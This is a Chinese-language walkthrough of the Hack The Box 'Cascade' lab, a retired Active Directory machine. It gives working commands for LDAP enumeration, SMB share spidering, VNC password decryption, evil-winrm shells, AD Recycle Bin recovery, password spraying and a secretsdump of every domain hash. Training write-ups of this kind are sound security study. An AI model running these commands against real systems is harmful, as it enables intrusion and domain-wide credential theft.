hackthebox cascade
cascade
port scan
使用rustscan
做端口扫描,存在开放端口139,445,389,5985等。
services
使用windapsearch
枚举389 ldap服务,枚举users
,groups
,computers
以及custom all
信息。
1 2 3 4 5 6
| mod="users"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt" mod="groups"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt" mod="computers"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt" mod="metadata"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" | tee "${mod}.txt"
mod="custom"; windapsearch --dc '10.10.10.182' -u '' -p '' --full -m "${mod}" --filter "(&(objectClass=*))" | tee custom.allObject.txt
|

过滤查看查询到的信息,发现存在cascadeLegacyPwd字样,保存着r.thompson
的密码。


使用cme
根据r.thompson / rY4n5eva
凭据尝试登录smb服务,获得共享目录列表(登录成功)。
1
| cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --shares
|

可以使用cme
查看用户密码策略后,尝试密码喷洒(常规步骤,仅做记录)。
1
| cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' --pass-pol
|

发现未设置密码锁定次数,则可以密码喷洒,不会锁定账户。未发现其他成果。
1
| cme smb '10.10.10.182' -u './cascade.local.users.lst' -p 'rY4n5eva' --continue-on-success
|
使用cme
的spider_plus
模块爬取smb 共享文件信息。
1
| cme smb '10.10.10.182' -u 'r.thompson' -p 'rY4n5eva' -M spider_plus
|

查看这些文件内容,汇总以下信息:
有一个TempAdmin
账户,已经被删除,与管理员账户密码相同
存在一个s.smith
账户,它有VNC安装密码hex形式: hex:6b,cf,2a,4b,6e,5a,ca,0f
存在一个ArkSvc
账户,此账户做删除操作,此账户删除了TempAdmin
账户
根据frizb/PasswordDecrypts文档说明,恢复hex形式的VNC密码。
1 2
| echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
|

使用cme
,以s.smith / sT333ve2
尝试登录smb, winrm, 登录成功时使用spider_plus
模块搜集共享文件信息;(标准动作:尝试密码喷洒)
1 2 3 4
| cme smb '10.10.10.182' -u 's.smith' -p 'sT333ve2' --shares cme winrm '10.10.10.182' -u 's.smith' -p 'sT333ve2'
cme smb '10.10.10.182' -u 's.smith' -p 'sT333ve2' -M spider_plus
|


wirm能够登录,使用evil-winrm
登录,获得交互式pwsh shell.
1
| evil-winrm -i '10.10.10.182' -u 's.smith' -p 'sT333ve2'
|

priv esca
发现s.smith
可读共享目录Audit$
下,存在一些二进制文件和sqllite数据库文件Audit.db
.
查看Audit.db
数据库中数据,发现ArkSvc
密码(加密) BQO5l5Kj9MdErXx6Q6AGOw==
,

使用dnspy
对CascAudit.exe
做逆向,发现需要引入CascCrypto.dll
,引入后发现,
此二进制文件的功能是与sqllite数据库交互查询ArkSvc
用户的密码后解密,再做其他操作。
解密方法是CascCrypto.dll
链接库中的
public static string DecryptString(string EncryptedString, string Key)
方法。
Key是c4scadek3y654321
,ArkSvc
的加密密码是BQO5l5Kj9MdErXx6Q6AGOw==
。

尝试新建C#控制台程序,debug此方法,手动解密密码, 密码是w3lc0meFr31nd
。

使用cme
以ArkSvc / w3lc0meFr31nd
凭据登录smb,winrm.
1 2 3 4
| cme smb '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd' cme winrm '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'
evil-winrm -i '10.10.10.182' -u 'ArkSvc' -p 'w3lc0meFr31nd'
|

枚举到ArkSvc
用户在AD Recycle Bin
组中,与之前收集的信息符合,引入pwsh的ActiveDirectory
模块,
调用Get-ADObject
方法查询,Recycle Bin
中已经删除的对象属性。
1 2 3
| Import-Module ActiveDirectory
Get-ADObject -SearchBase "CN=Deleted Objects,DC=Cascade,DC=local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *
|

得到TempAdmin / baCT3r1aN00dles
凭据。之前收集到的信息TempAdmin
密码与普通管理员密码相同,尝试密码喷洒。
1 2 3
| impacket-GetADUsers -all -dc-ip '10.10.10.182' 'cascade.local/ArkSvc:w3lc0meFr31nd' | tail -n+6 | awk '{print $1}' | tee ../../dump/cascade.local.users.txt
cme smb '10.10.10.182' -u './cascade.local.users.txt' -p 'baCT3r1aN00dles' --continue-on-success
|
喷洒到administrator / baCT3r1aN00dles
,与之前掌握的信息符合,(密码喷洒容易触发主机防护告警)。

使用evil-winrm
以administrator / baCT3r1aN00dles
凭据登录winrm服务。

post
impacket-secretsdump
将域内所有用户hash dump到本地。
1
| impacket-secretsdump -outputfile 'cascade.local.secretsdump.txt' -dc-ip '10.10.10.182' -target-ip '10.10.10.182' 'cascade.local/administrator:baCT3r1aN00dles@10.10.10.182'
|
